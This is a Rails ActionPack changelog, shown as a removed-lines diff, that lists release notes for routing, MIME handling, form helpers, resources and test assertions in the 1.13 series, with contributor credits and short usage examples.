-* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs. Closes #6922 *Steven Bristol*
-
-* Slight doc tweak to #prepend_filter. Closes #6493 *Jeremy Voorhis*
-
-* Add more extensive documentation to the AssetTagHelper. Closes #6452 *Bob Silva*
-
-* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper. Closes #6394 *Bob Silva*
-
-* [DOCS] fix reference to ActionController::Macros::AutoComplete for #text_field_with_auto_complete. Closes #2578 *Jan Prill*
-
-* Make sure html_document is reset between integration test requests. *ctm*
-
-* Set session to an empty hash if :new_session => false and no session cookie or param is present. CGI::Session was raising an unrescued ArgumentError. *Josh Susser*
-
-* Routing uses URI escaping for path components and CGI escaping for query parameters. *darix, Jeremy Kemper*
-
-* Fix assert_redirected_to bug where redirecting from a nested to to a top-level controller incorrectly added the current controller's nesting. Closes #6128. *Rick Olson*
-
-* Singleton resources: POST /singleton => create, GET /singleton/new => new. *Jeremy Kemper*
-
-* Use 400 Bad Request status for unrescued ActiveRecord::RecordInvalid exceptions. *Jeremy Kemper*
-
-* Silence log_error deprecation warnings from inspecting deprecated instance variables. *Nate Wiger*
-
-* Only cache GET requests with a 200 OK response. #6514, #6743 *RSL, anamba*
-
-* Add a 'referer' attribute to TestRequest. *Jamis Buck*
-
-* Ensure render :json => ... skips the layout. Closes #6808 *Josh Peek*
-
-* Fix HTML::Node to output double quotes instead of single quotes. Closes #6845 *mitreandy*
-
-* Correctly report which filter halted the chain. #6699 *Martin Emde*
-
-* Fix a bug in Routing where a parameter taken from the path of the current request could not be used as a query parameter for the next. Closes #6752. *Nicholas Seckar*
-
-* Unrescued ActiveRecord::RecordNotFound responds with 404 instead of 500. *Jeremy Kemper*
-
-* Improved auto_link to match more valid urls correctly *Tobias Lütke*
-
-* Add singleton resources. *Rick Olson*
-
- map.resource :account
-
- GET /account
- GET /account;edit
- UPDATE /account
- DELETE /account
-
-* respond_to recognizes JSON. render :json => @person.to_json automatically sets the content type and takes a :callback option to specify a client-side function to call using the rendered JSON as an argument. #4185 *Scott Raymond, eventualbuddha*
- # application/json response with body 'Element.show({:name: "David"})'
- respond_to do |format|
- format.json { render :json => { :name => "David" }.to_json, :callback => 'Element.show' }
- end
-
-* Makes :discard_year work without breaking multi-attribute parsing in AR. #1260, #3800 *sean@ardismg.com, jmartin@desertflood.com, stephen@touset.org, Bob Silva*
-
-* Adds html id attribute to date helper elements. #1050, #1382 *mortonda@dgrmm.net, David North, Bob Silva*
-
-* Add :index and @auto_index capability to model driven date/time selects. #847, #2655 *moriq, Doug Fales, Bob Silva*
-
-* Add :order to datetime_select, select_datetime, and select_date. #1427 *Timothee Peignier, Patrick Lenz, Bob Silva*
-
-* Added time_select to work with time values in models. Update scaffolding. #2489, #2833 *Justin Palmer, Andre Caum, Bob Silva*
-
-* Added :include_seconds to select_datetime, datetime_select and time_select. #2998 *csn, Bob Silva*
-
-* All date/datetime selects can now accept an array of month names with :use_month_names. Allows for localization. #363 *tomasj, Bob Silva*
-
-* Adds :time_separator to select_time and :date_separator to select_datetime. Preserves BC. #3811 *Bob Silva*
-
-* Added map.root as an alias for map.connect '' *David Heinemeier Hansson*
-
-* Added Request#format to return the format used for the request as a mime type. If no format is specified, the first Request#accepts type is used. This means you can stop using respond_to for anything else than responses *DHH*. Examples:
-
- GET /posts/5.xml | request.format => Mime::XML
- GET /posts/5.xhtml | request.format => Mime::HTML
- GET /posts/5 | request.format => request.accepts.first (usually Mime::HTML for browsers)
-
-* Added the option for extension aliases to mime type registration *DHH*. Example (already in the default routes):
-
- Mime::Type.register "text/html", :html, %w( application/xhtml+xml ), %w( xhtml )
-
- ...will respond on both .html and .xhtml.
-
-* @response.redirect_url works with 201 Created responses: just return headers['Location'] rather than checking the response status. *Jeremy Kemper*
-
-* Added CSV to Mime::SET so that respond_to csv will work *Cody Fauser*
-
-* Fixed that HEAD should return the proper Content-Length header (that is, actually use @body.size, not just 0) *David Heinemeier Hansson*
-
-* Added GET-masquarading for HEAD, so request.method will return :get even for HEADs. This will help anyone relying on case request.method to automatically work with HEAD and map.resources will also allow HEADs to all GET actions. Rails automatically throws away the response content in a reply to HEAD, so you don't even need to worry about that. If you, for whatever reason, still need to distinguish between GET and HEAD in some edge case, you can use Request#head? and even Request.headers["REQUEST_METHOD"] for get the "real" answer. Closes #6694 *David Heinemeier Hansson*
-
-* Update Routing to complain when :controller is not specified by a route. Closes #6669. *Nicholas Seckar*
-
-* Ensure render_to_string cleans up after itself when an exception is raised. #6658 *Rob Sanheim*
-
-* Extract template_changed_since? from compile_template? so plugins may override its behavior for non-file-based templates. #6651 *Jeff Barczewski*
-
-* Update to Prototype and script.aculo.us [5579]. *Thomas Fuchs*
-
-* simple_format helper doesn't choke on nil. #6644 *jerry426*
-
-* Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again *Thomas Fuchs*
-
-* Reuse named route helper module between Routing reloads. Use remove_method to delete named route methods after each load. Since the module is never collected, this fixes a significant memory leak. *Nicholas Seckar*
-
-* ActionView::Base.erb_variable accessor names the buffer variable used to render templates. Defaults to _erbout; use _buf for erubis. *Rick Olson*
-
-* assert_select_rjs :remove. *Dylan Egan*
-
-* Always clear model associations from session. #4795 *sd@notso.net, andylien@gmail.com*
-
-* Update to Prototype 1.5.0_rc2. *Sam Stephenson*
-
-* Remove JavaScriptLiteral in favor of ActiveSupport::JSON::Variable. *Sam Stephenson*
-
-* Sync ActionController::StatusCodes::STATUS_CODES with http://www.iana.org/assignments/http-status-codes. #6586 *dkubb*
-
-* Multipart form values may have a content type without being treated as uploaded files if they do not provide a filename. #6401 *Andreas Schwarz, Jeremy Kemper*
-
-* assert_response supports symbolic status codes. #6569 *Kevin Clark*
- assert_response :ok
- assert_response :not_found
- assert_response :forbidden
-
-* Cache parsed query parameters. #6559 *Stefan Kaes*
-
-* Deprecate JavaScriptHelper#update_element_function, which is superseeded by RJS *Thomas Fuchs*
-
-* pluralize helper interprets nil as zero. #6474 *Tim Pope*
-
-* Fix invalid test fixture exposed by stricter Ruby 1.8.5 multipart parsing. #6524 *Bob Silva*
-
-* Set ActionView::Base.default_form_builder once rather than passing the :builder option to every form or overriding the form helper methods. *Jeremy Kemper*
-
-* Deprecate expire_matched_fragments. Use expire_fragment instead. #6535 *Bob Silva*
-
-* Update to latest Prototype, which doesn't serialize disabled form elements, adds clone() to arrays, empty/non-string Element.update() and adds a fixes excessive error reporting in WebKit beta versions *Thomas Fuchs*
-
-* Deprecate start_form_tag and end_form_tag. Use form_tag / '</form>' from now on. *Rick Olson*
-
-* Added block-usage to PrototypeHelper#form_remote_tag, document block-usage of FormTagHelper#form_tag *Rick Olson*
-
-* Add a 0 margin/padding div around the hidden _method input tag that form_tag outputs. *Rick Olson*
-
-* Added block-usage to TagHelper#content_tag *DHH*. Example:
-
- <% content_tag :div, :class => "strong" %>
- Hello world!
- <% end %>
-
- Will output:
- <div class="strong">Hello world!</div>
-
-* Deprecated UrlHelper#link_to_image and UrlHelper#link_to :post => true #6409 *Bob Silva*
-
-* Upgraded NumberHelper with number_to_phone support international formats to comply with ITU E.123 by supporting area codes with less than 3 digits, added precision argument to number_to_human_size (defaults to 1) #6421 *Bob Silva*
-
-* Fixed that setting RAILS_ASSET_ID to "" should not add a trailing slash after assets #6454 *Bob Silva/chrismear*
-
-* Force *_url named routes to show the host in ActionView *Rick Olson*
-
- <%= url_for ... %> # no host
- <%= foo_path %> # no host
- <%= foo_url %> # host!
-
-* Add support for converting blocks into function arguments to JavaScriptGenerator#call and JavaScriptProxy#call. *Sam Stephenson*
-
-* Add JavaScriptGenerator#literal for wrapping a string in an object whose #to_json is the string itself. *Sam Stephenson*
-
-* Add <%= escape_once html %> to escape html while leaving any currently escaped entities alone. Fix button_to double-escaping issue. *Rick Olson*
-
-* Fix double-escaped entities, such as &amp;amp;, &amp;#123;, etc. *Rick Olson*
-
-* Fix deprecation warnings when rendering the template error template. *Nicholas Seckar*
-
-* Fix routing to correctly determine when generation fails. Closes #6300. *psross*.
-
-* Fix broken assert_generates when extra keys are being checked. *Jamis Buck*
-
-* Replace KCODE checks with String#chars for truncate. Closes #6385 *Manfred Stienstra*
-
-* Make page caching respect the format of the resource that is being requested even if the current route is the default route so that, e.g. posts.rss is not transformed by url_for to '/' and subsequently cached as '/index.html' when it should be cached as '/posts.rss'. *Marcel Molina Jr.*
-
-* Use String#chars in TextHelper::excerpt. Closes #6386 *Manfred Stienstra*
-
-* Install named routes into ActionView::Base instead of proxying them to the view via helper_method. Closes #5932. *Nicholas Seckar*
-
-* Update to latest Prototype and script.aculo.us trunk versions *Thomas Fuchs*
-
-* Fix relative URL root matching problems. *Mark Imbriaco*
-
-* Fix filter skipping in controller subclasses. #5949, #6297, #6299 *Martin Emde*
-
-* render_text may optionally append to the response body. render_javascript appends by default. This allows you to chain multiple render :update calls by setting @performed_render = false between them (awaiting a better public API). *Jeremy Kemper*
-
-* Rename test assertion to prevent shadowing. Closes #6306. *psross*
-
-* Fixed that NumberHelper#number_to_delimiter should respect precision of higher than two digits #6231 *Philip Hallstrom*
-
-* Fixed that FormHelper#radio_button didn't respect an :id being passed in #6266 *evansj*
-
-* Added an html_options hash parameter to javascript_tag() and update_page_tag() helpers #6311 *tzaharia*. Example:
-
- update_page_tag :defer => 'true' { |page| ... }
-
- Gives:
-
- <script defer="true" type="text/javascript">...</script>
-
- Which is needed for dealing with the IE6 DOM when it's not yet fully loaded.
-
-* Fixed that rescue template path shouldn't be hardcoded, then it's easier to hook in your own #6295 *Mike Naberezny*
-
-* Fixed escaping of backslashes in JavaScriptHelper#escape_javascript #6302 *sven@c3d2.de*
-
-* Fixed that some 500 rescues would cause 500's themselves because the response had not yet been generated #6329 *cmselmer*
-
-* respond_to :html doesn't assume .rhtml. #6281 *Hampton Catlin*
-
-* Fixed some deprecation warnings in ActionPack *Rick Olson*
-
-* assert_select_rjs decodes escaped unicode chars since the Javascript generators encode them. #6240 *japgolly*
-
-* Deprecation: @cookies, @headers, @request, @response will be removed after 1.2. Use the corresponding method instead. *Jeremy Kemper*
-
-* Make the :status parameter expand to the default message for that status code if it is an integer. Also support symbol statuses. *Jamis Buck*. Examples:
-
- head :status => 404 # expands to "404 Not Found"
- head :status => :not_found # expands to "404 Not Found"
- head :status => :created # expands to "201 Created"
-
-* Add head(options = {}) for responses that have no body. *Jamis Buck*. Examples:
-
- head :status => 404 # return an empty response with a 404 status
- head :location => person_path(@person), :status => 201
-
-* Fix bug that kept any before_filter except the first one from being able to halt the before_filter chain. *Rick Olson*
-
-* strip_links is case-insensitive. #6285 *tagoh, Bob Silva*
-
-* Clear the cache of possible controllers whenever Routes are reloaded. *Nicholas Seckar*
-
-* Filters overhaul including meantime filter support using around filters + blocks. #5949 *Martin Emde, Roman Le Negrate, Stefan Kaes, Jeremy Kemper*
-
-* Update RJS render tests. *sam*
-
-* Update CGI process to allow sessions to contain namespaced models. Closes #4638. *dfelstead@site5.com*
-
-* Fix routing to respect user provided requirements and defaults when assigning default routing options (such as :action => 'index'). Closes #5950. *Nicholas Seckar*
-
-* Rescue Errno::ECONNRESET to handle an unexpectedly closed socket connection. Improves SCGI reliability. #3368, #6226 *sdsykes, fhanshaw@vesaria.com*
-
-* Added that respond_to blocks will automatically set the content type to be the same as is requested *DHH*. Examples:
-
- respond_to do |format|
- format.html { render :text => "I'm being sent as text/html" }
- format.rss { render :text => "I'm being sent as application/rss+xml" }
- format.atom { render :text => "I'm being sent as application/xml", :content_type => Mime::XML }
- end
-
-* Added utf-8 as the default charset for all renders. You can change this default using ActionController::Base.default_charset=(encoding) *David Heinemeier Hansson*
-
-* Added proper getters and setters for content type and charset *DHH*. Example of what we used to do:
-
- response.headers["Content-Type"] = "application/atom+xml; charset=utf-8"
-
- ...now:
-
- response.content_type = Mime::ATOM
- response.charset = "utf-8"
-
-* Updated prototype.js to 1.5.0_rc1 with latest fixes. *Rick Olson*
-
- - XPATH support
- - Make Form.getElements() return elements in the correct order
- - fix broken Form.serialize return
-
-* Declare file extensions exempt from layouts. #6219 *brandon*
- Example: ActionController::Base.exempt_from_layout 'rpdf'
-
-* Add chained replace/update support for assert_select_rjs *Rick Olson*
-
- Given RJS like...
-
- page['test1'].replace "<div id=\"1\">foo</div>"
- page['test2'].replace_html "<div id=\"2\">foo</div>"
-
- Test it with...
-
- assert_select_rjs :chained_replace
- assert_select_rjs :chained_replace, "test1"
-
- assert_select_rjs :chained_replace_html
- assert_select_rjs :chained_replace_html, "test2"
-
-* Load helpers in alphabetical order for consistency. Resolve cyclic javascript_helper dependency. #6132, #6178 *choonkeat@gmail.com*
-
-* Skip params with empty names, such as the &=Save query string from <input type="submit"/>. #2569 *Manfred Stienstra, raphinou@yahoo.com*
-
-* Fix assert_tag so that :content => "foo" does not match substrings, but only exact strings. Use :content => /foo/ to match substrings. #2799 *Eric Hodel*
-
-* Add descriptive messages to the exceptions thrown by cgi_methods. #6091, #6103 *Nicholas Seckar, Bob Silva*
-
-* Update JavaScriptGenerator#show/hide/toggle/remove to new Prototype syntax for multiple ids, #6068 *petermichaux@gmail.com*
-
-* Update UrlWriter to support :only_path. *Nicholas Seckar, Dave Thomas*
-
-* Fixed JavaScriptHelper#link_to_function and JavaScriptHelper#button_to_function to have the script argument be optional *DHH*. So what used to require a nil, like this:
-
- link_to("Hider", nil, :class => "hider_link") { |p| p[:something].hide }
-
- ...can be written like this:
-
- link_to("Hider", :class => "hider_link") { |p| p[:something].hide }
-
-* Update to script.aculo.us 1.6.3 *Thomas Fuchs*
-
-* Update to Prototype 1.5.0_rc1 *sam*
-
-* Added access to nested attributes in RJS #4548 *richcollins@gmail.com*. Examples:
-
- page['foo']['style'] # => $('foo').style;
- page['foo']['style']['color'] # => $('blank_slate').style.color;
- page['foo']['style']['color'] = 'red' # => $('blank_slate').style.color = 'red';
- page['foo']['style'].color = 'red' # => $('blank_slate').style.color = 'red';
-
-* Fixed that AssetTagHelper#image_tag and others using compute_public_path should not modify the incoming source argument (closes #5102) *eule@space.ch*
-
-* Deprecated the auto-appending of .png to AssetTagHelper#image_tag calls that doesn't have an extension *David Heinemeier Hansson*
-
-* Fixed FormOptionsHelper#select to respect :selected value #5813
-
-* Fixed TextHelper#simple_format to deal with multiple single returns within a single paragraph #5835 *moriq@moriq.com*
-
-* Fixed TextHelper#pluralize to handle 1 as a string #5909 *rails@bencurtis.com*
-
-* Improved resolution of DateHelper#distance_of_time_in_words for better precision #5994 *Bob Silva*
-
-* Changed that uncaught exceptions raised any where in the application will cause RAILS_ROOT/public/500.html to be read and shown instead of just the static "Application error (Rails)" *David Heinemeier Hansson*
-
-* Integration tests: thoroughly test ActionController::Integration::Session. #6022 *Kevin Clark*
- (tests skipped unless you `gem install mocha`)
-
-* Added deprecation language for pagination which will become a plugin by Rails 2.0 *David Heinemeier Hansson*
-
-* Added deprecation language for in_place_editor and auto_complete_field that both pieces will become plugins by Rails 2.0 *David Heinemeier Hansson*
-
-* Deprecated all of ActionController::Dependencies. All dependency loading is now handled from Active Support *David Heinemeier Hansson*
-
-* Added assert_select* for CSS selector-based testing (deprecates assert_tag) #5936 *assaf.arkin@gmail.com*
-
-* radio_button_tag generates unique id attributes. #3353 *Bob Silva, somekool@gmail.com*
-
-* strip_tags passes through blank args such as nil or "". #2229, #6702 *duncan@whomwah.com, dharana*
-
-* Cleanup assert_tag :children counting. #2181 *jamie@bravenet.com*
-
-* button_to accepts :method so you can PUT and DELETE with it. #6005 *Dan Webb*
-
-* Update sanitize text helper to strip plaintext tags, and <img src="javascript:bang">. *Rick Olson*
-
-* Update routing documentation. Closes #6017 *Nathan Witmer*
-
-* Add routing tests to assert that RoutingError is raised when conditions aren't met. Closes #6016 *Nathan Witmer*
-
-* Deprecation: update docs. #5998 *Jakob Skjerning, Kevin Clark*
-
-* Make auto_link parse a greater subset of valid url formats. *Jamis Buck*
-
-* Integration tests: headers beginning with X aren't excluded from the HTTP_ prefix, so X-Requested-With becomes HTTP_X_REQUESTED_WITH as expected. *Mike Clark*
-
-* Tighten rescue clauses. #5985 *james@grayproductions.net*
-
-* Fix send_data documentation typo. #5982 *brad@madriska.com*
-
-* Switch to using FormEncodedPairParser for parsing request parameters. *Nicholas Seckar, David Heinemeier Hansson*
-
-* respond_to .html now always renders #{action_name}.rhtml so that registered custom template handlers do not override it in priority. Custom mime types require a block and throw proper error now. *Tobias Lütke*
-
-* Deprecation: test deprecated instance vars in partials. *Jeremy Kemper*
-
-* Add UrlWriter to allow writing urls from Mailers and scripts. *Nicholas Seckar*
-
-* Clean up and run the Active Record integration tests by default. #5854 *Kevin Clark, Jeremy Kemper*
-
-* Correct example in cookies docs. #5832 *jessemerriman@warpmail.net*
-
-* Updated to script.aculo.us 1.6.2 *Thomas Fuchs*
-
-* Relax Routing's anchor pattern warning; it was preventing use of [^/] inside restrictions. *Nicholas Seckar*
-
-* Add controller_paths variable to Routing. *Nicholas Seckar*
-
-* Fix assert_redirected_to issue with named routes for module controllers. *Rick Olson*
-
-* Tweak RoutingError message to show option diffs, not just missing named route significant keys. *Rick Olson*
-
-* Invoke method_missing directly on hidden actions. Closes #3030. *Nicholas Seckar*
-
-* Require Tempfile explicitly for TestUploadedFile due to changes in class auto loading. *Rick Olson*
-
-* Add RoutingError exception when RouteSet fails to generate a path from a Named Route. *Rick Olson*
-
-* Replace Reloadable with Reloadable::Deprecated. *Nicholas Seckar*
-
-* Deprecation: check whether instance variables have been monkeyed with before assigning them to deprecation proxies. Raises a RuntimeError if so. *Jeremy Kemper*
-
-* Add support for the param_name parameter to the auto_complete_field helper. #5026 *david.a.williams@gmail.com*
-
-* Deprecation! @params, @session, @flash will be removed after 1.2. Use the corresponding instance methods instead. You'll get printed warnings during tests and logged warnings in dev mode when you access either instance variable directly. *Jeremy Kemper*
-
-* Make Routing noisy when an anchor regexp is assigned to a segment. #5674 *François Beausoleil*
-
-* Added months and years to the resolution of DateHelper#distance_of_time_in_words, such that "60 days ago" becomes "2 months ago" #5611 *pjhyett@gmail.com*
-
-* Short documentation to mention use of Mime::Type.register. #5710 *choonkeat@gmail.com*
-
-* Make controller_path available as an instance method. #5724 *jmckible@gmail.com*
-
-* Update query parser to support adjacent hashes. *Nicholas Seckar*
-
-* Make action caching aware of different formats for the same action so that, e.g. foo.xml is cached separately from foo.html. Implicitly set content type when reading in cached content with mime revealing extensions so the entire onous isn't on the webserver. *Marcel Molina Jr.*
-
-* Restrict Request Method hacking with ?_method to POST requests. *Rick Olson*
-
-* Fix bug when passing multiple options to SimplyRestful, like :new => { :preview => :get, :draft => :get }. *Rick Olson, Josh Susser, Lars Pind*
-
-* Dup the options passed to map.resources so that multiple resources get the same options. *Rick Olson*
-
-* Fixed the new_#{resource}_url route and added named route tests for Simply Restful. *Rick Olson*
-
-* Added map.resources from the Simply Restful plugin *DHH*. Examples (the API has changed to use plurals!):
-
- map.resources :messages
- map.resources :messages, :comments
- map.resources :messages, :new => { :preview => :post }
-
-* Fixed that integration simulation of XHRs should set Accept header as well *Edward Frederick*
-
-* TestRequest#reset_session should restore a TestSession, not a hash *Michael Koziarski*
-
-* Don't search a load-path of '.' for controller files *Jamis Buck*
-
-* Update integration.rb to require test_process explicitly instead of via Dependencies. *Nicholas Seckar*
-
-* Fixed that you can still access the flash after the flash has been reset in reset_session. Closes #5584 *lmarlow*
-
-* Allow form_for and fields_for to work with indexed form inputs. *Jeremy Kemper, Matt Lyon*
-
- <% form_for 'post[]', @post do |f| -%>
- <% end -%>
-
-* Remove leak in development mode by replacing define_method with module_eval. *Nicholas Seckar*
-
-* Provide support for decimal columns to form helpers. Closes #5672. *Dave Thomas*
-
-* Update documentation for erb trim syntax. #5651 *matt@mattmargolis.net*
-
-* Pass :id => nil or :class => nil to error_messages_for to supress that html attribute. #3586 *olivier_ansaldi@yahoo.com*
-
-* Reset @html_document between requests so assert_tag works. #4810 *Jarkko Laine, easleydp@gmail.com*
-
-* Update render :partial documentation. #5646 *matt@mattmargolis.net*
-
-* Integration tests behave well with render_component. #4632 *edward.frederick@revolution.com, dev.rubyonrails@maxdunn.com*
-
-* Added exception handling of missing layouts #5373 *chris@ozmm.org*
-
-* Fixed that real files and symlinks should be treated the same when compiling templates #5438 *zachary@panandscan.com*
-
-* Fixed that the flash should be reset when reset_session is called #5584 *Shugo Maeda*
-
-* Added special case for "1 Byte" in NumberHelper#number_to_human_size #5593 *murpyh@rubychan.de*
-
-* Fixed proper form-encoded parameter parsing for requests with "Content-Type: application/x-www-form-urlencoded; charset=utf-8" (note the presence of a charset directive) *David Heinemeier Hansson*
-
-* Add route_name_path method to generate only the path for a named routes. For example, map.person will add person_path. *Nicholas Seckar*
-
-* Avoid naming collision among compiled view methods. *Jeremy Kemper*
-
-* Fix CGI extensions when they expect string but get nil in Windows. Closes #5276 *Mislav Marohnić*
-
-* Determine the correct template_root for deeply nested components. #2841 *s.brink@web.de*
-
-* Fix that routes with *path segments in the recall can generate URLs. *Rick Olson*
-
-* Fix strip_links so that it doesn't hang on multiline <acronym> tags *Jamis Buck*
-
-* Remove problematic control chars in rescue template. #5316 *Stefan Kaes*
-
-* Make sure passed routing options are not mutated by routing code. #5314 *Blair Zajac*
-
-* Make sure changing the controller from foo/bar to bing/bang does not change relative to foo. *Jamis Buck*
-
-* Escape the path before routing recognition. #3671
-
-* Make sure :id and friends are unescaped properly. #5275 *me@julik.nl*
-
-* Fix documentation for with_routing to reflect new reality. #5281 *rramdas@gmail.com*
-
-* Rewind readable CGI params so others may reread them (such as CGI::Session when passing the session id in a multipart form). #210 *mklame@atxeu.com, matthew@walker.wattle.id.au*
-
-* Added Mime::TEXT (text/plain) and Mime::ICS (text/calendar) as new default types *David Heinemeier Hansson*
-
-* Added Mime::Type.register(string, symbol, synonyms = []) for adding new custom mime types *DHH*. Example: Mime::Type.register("image/gif", :gif)
-
-* Added support for Mime objects in render :content_type option *DHH*. Example: render :text => some_atom, :content_type => Mime::ATOM
-
-* Add :status option to send_data and send_file. Defaults to '200 OK'. #5243 *Manfred Stienstra <m.stienstra@fngtps.com>*
-
-* Routing rewrite. Simpler, faster, easier to understand. The published API for config/routes.rb is unchanged, but nearly everything else is different, so expect breakage in plugins and libs that try to fiddle with routes. *Nicholas Seckar, Jamis Buck*
-
- map.connect '/foo/:id', :controller => '...', :action => '...'
- map.connect '/foo/:id.:format', :controller => '...', :action => '...'
- map.connect '/foo/:id', ..., :conditions => { :method => :get }
-
-* Cope with missing content type and length headers. Parse parameters from multipart and urlencoded request bodies only. *Jeremy Kemper*
-
-* Accept multipart PUT parameters. #5235 *guy.naor@famundo.com*
-
-* Added interrogation of params[:format] to determine Accept type. If :format is specified and matches a declared extension, like "rss" or "xml", that mime type will be put in front of the accept handler. This means you can link to the same action from different extensions and use that fact to determine output *DHH*. Example:
-
- class WeblogController < ActionController::Base
- def index
- @posts = Post.find :all
-
- respond_to do |format|
- format.html
- format.xml { render :xml => @posts.to_xml }
- format.rss { render :action => "feed.rxml" }
- end
- end
- end
-
- \# returns HTML when requested by a browser, since the browser
- \# has the HTML mimetype at the top of its priority list
- Accept: text/html
- GET /weblog
-
- \# returns the XML
- Accept: application/xml
- GET /weblog
-
- \# returns the HTML
- Accept: application/xml
- GET /weblog.html
-
- \# returns the XML
- Accept: text/html
- GET /weblog.xml
-
- All this relies on the fact that you have a route that includes .:format.
-
-* Expanded :method option in FormTagHelper#form_tag, FormHelper#form_for, PrototypeHelper#remote_form_for, PrototypeHelper#remote_form_tag, and PrototypeHelper#link_to_remote to allow for verbs other than GET and POST by automatically creating a hidden form field named _method, which will simulate the other verbs over post *David Heinemeier Hansson*
-
-* Added :method option to UrlHelper#link_to, which allows for using other verbs than GET for the link. This replaces the :post option, which is now deprecated. Example: link_to "Destroy", person_url(:id => person), :method => :delete *David Heinemeier Hansson*
-
-* follow_redirect doesn't complain about being redirected to the same controller. #5153 *dymo@mk.ukrtelecom.ua*
-
-* Add layout attribute to response object with the name of the layout that was rendered, or nil if none rendered. *Kevin Clark*
-
-* Fix NoMethodError when parsing params like &&. *Adam Greenfield*
-
-* Fix flip flopped logic in docs for url_for's :only_path option. Closes #4998. *esad@esse.at*
-
-* form.text_area handles the :size option just like the original text_area (:size => '60x10' becomes cols="60" rows="10"). *Jeremy Kemper*
-
-* Excise ingrown code from FormOptionsHelper#options_for_select. #5008 *anonymous*
-
-* Small fix in routing to allow dynamic routes (broken after [4242]) *Rick Olson*
-
- map.connect '*path', :controller => 'files', :action => 'show'
-
-* Replace alias method chaining with Module#alias_method_chain. *Marcel Molina Jr.*
-
-* Replace Ruby's deprecated append_features in favor of included. *Marcel Molina Jr.*
-
-* Use #flush between switching from #write to #syswrite. Closes #4907. *Blair Zajac <blair@orcaware.com>*
-
-* Documentation fix: integration test scripts don't require integration_test. Closes #4914. *Frederick Ros <sl33p3r@free.fr>*
-
-* ActionController::Base Summary documentation rewrite. Closes #4900. *Kevin Clark*
-
-* Fix text_helper.rb documentation rendering. Closes #4725. *Frederick Ros*
-
-* Fixes bad rendering of JavaScriptMacrosHelper rdoc (closes #4910) *Frederick Ros*
-
-* Allow error_messages_for to report errors for multiple objects, as well as support for customizing the name of the object in the error summary header. Closes #4186. *andrew@redlinesoftware.com, Marcel Molina Jr.*
-
- error_messages_for :account, :user, :subscription, :object_name => :account
-
-* Enhance documentation for setting headers in integration tests. Skip auto HTTP prepending when its already there. Closes #4079. *Rick Olson*
-
-* Documentation for AbstractRequest. Closes #4895. *Kevin Clark*
-
-* Refactor various InstanceTag instance method to class methods. Closes #4800. *Stefan Kaes*
-
-* Remove all remaining references to @params in the documentation. *Marcel Molina Jr.*
-
-* Add documentation for redirect_to :back's RedirectBackError exception. *Marcel Molina Jr.*
-
-* Update layout and content_for documentation to use yield rather than magic @content_for instance variables. *Marcel Molina Jr.*
-
-* Fix assert_redirected_to tests according to real-world usage. Also, don't fail if you add an extra :controller option: *Rick Olson*
-
- redirect_to :action => 'new'
- assert_redirected_to :controller => 'monkeys', :action => 'new'
-
-* Cache CgiRequest#request_parameters so that multiple calls don't re-parse multipart data. *Rick Olson*
-
-* Diff compared routing options. Allow #assert_recognizes to take a second arg as a hash to specify optional request method *Rick Olson*
-
- assert_recognizes({:controller => 'users', :action => 'index'}, 'users')
- assert_recognizes({:controller => 'users', :action => 'create'}, {:path => 'users', :method => :post})
-
-* Diff compared options with #assert_redirected_to *Rick Olson*
-
-* Add support in routes for semicolon delimited "subpaths", like /books/:id;:action *Jamis Buck*
-
-* Change link_to_function and button_to_function to (optionally) take an update_page block instead of a JavaScript string. Closes #4804. *zraii@comcast.net, Sam Stephenson*
-
-* Fixed that remote_form_for can leave out the object parameter and default to the instance variable of the object_name, just like form_for *David Heinemeier Hansson*
-
-* Modify routing so that you can say :require => { :method => :post } for a route, and the route will never be selected unless the request method is POST. Only works for route recognition, not for route generation. *Jamis Buck*
-
-* Added :add_headers option to verify which merges a hash of name/value pairs into the response's headers hash if the prerequisites cannot be satisfied. *Sam Stephenson*
- ex. verify :only => :speak, :method => :post,
- :render => { :status => 405, :text => "Must be post" },
- :add_headers => { "Allow" => "POST" }
-
-* Added ActionController.filter_parameter_logging that makes it easy to remove passwords, credit card numbers, and other sensitive information from being logged when a request is handled #1897 *jeremye@bsa.ca.gov*
-
-
-## 1.13.3 (March 12th, 2007) ##
-
-* Apply [5709] to stable.
-
-* session_enabled? works with session :off. #6680 *Jonathan del Strother*
-
-* Performance: patch cgi/session to require digest/md5 once rather than per #create_new_id. *Stefan Kaes*
-
-
-## 1.13.2 (February 5th, 2007) ##
-
-* Add much-needed html-scanner tests. Fixed CDATA parsing bug. *Rick Olson*
-
-* improve error message for Routing for named routes. *Rob Sanheim*
-
-* Added enhanced docs to routing assertions. *Rob Sanheim*
-
-* fix form_for example in ActionController::Resources documentation. *gnarg*
-
-* Add singleton resources from trunk *Rick Olson*
-
-* select :multiple => true suffixes the attribute name with [] unless already suffixed. #6977 *nik.kakelin, ben, julik*
-
-* Improve routes documentation. #7095 *zackchandler*
-
-* Resource member routes require :id, eliminating the ambiguous overlap with collection routes. #7229 *dkubb*
-
-* Fixed NumberHelper#number_with_delimiter to use "." always for splitting the original number, not the delimiter parameter #7389 *ceefour*
-
-* Autolinking recognizes trailing and embedded . , : ; #7354 *Jarkko Laine*
-
-* Make TextHelper::auto_link recognize URLs with colons in path correctly, fixes #7268. *imajes*
-
-* Improved auto_link to match more valid urls correctly *Tobias Lütke*
-
-
-## 1.13.1 (January 18th, 2007) ##
-
-* Fixed content-type bug in Prototype *sam*
-
-
-## 1.13.0 (January 16th, 2007) ##
-
-* Modernize cookie testing code, and increase coverage (Heckle++) #7101 *Kevin Clark*
-
-* Heckling ActionController::Resources::Resource revealed that set_prefixes didn't break when :name_prefix was munged. #7081 *Kevin Clark*
-
-* Update to Prototype 1.5.0. *Sam Stephenson*
-
-* Allow exempt_from_layout :rhtml. #6742, #7026 *Dan Manges, Squeegy*
-
-* Fix parsing of array[] CGI parameters so extra empty values aren't included. #6252 *Nicholas Seckar, aiwilliams, brentrowland*
-
-* link_to_unless_current works with full URLs as well as paths. #6891 *Jarkko Laine, Manfred Stienstra, idrifter*
-
-* Fix HTML::Node to output double quotes instead of single quotes. Closes #6845 *mitreandy*
-
-* Fix no method error with error_messages_on. Closes #6935 *nik.wakelin Koz*
-
-* Slight doc tweak to the ActionView::Helpers::PrototypeHelper#replace docs. Closes #6922 *Steven Bristol*
-
-* Slight doc tweak to #prepend_filter. Closes #6493 *Jeremy Voorhis*
-
-* Add more extensive documentation to the AssetTagHelper. Closes #6452 *Bob Silva*
-
-* Clean up multiple calls to #stringify_keys in TagHelper, add better documentation and testing for TagHelper. Closes #6394 *Bob Silva*
-
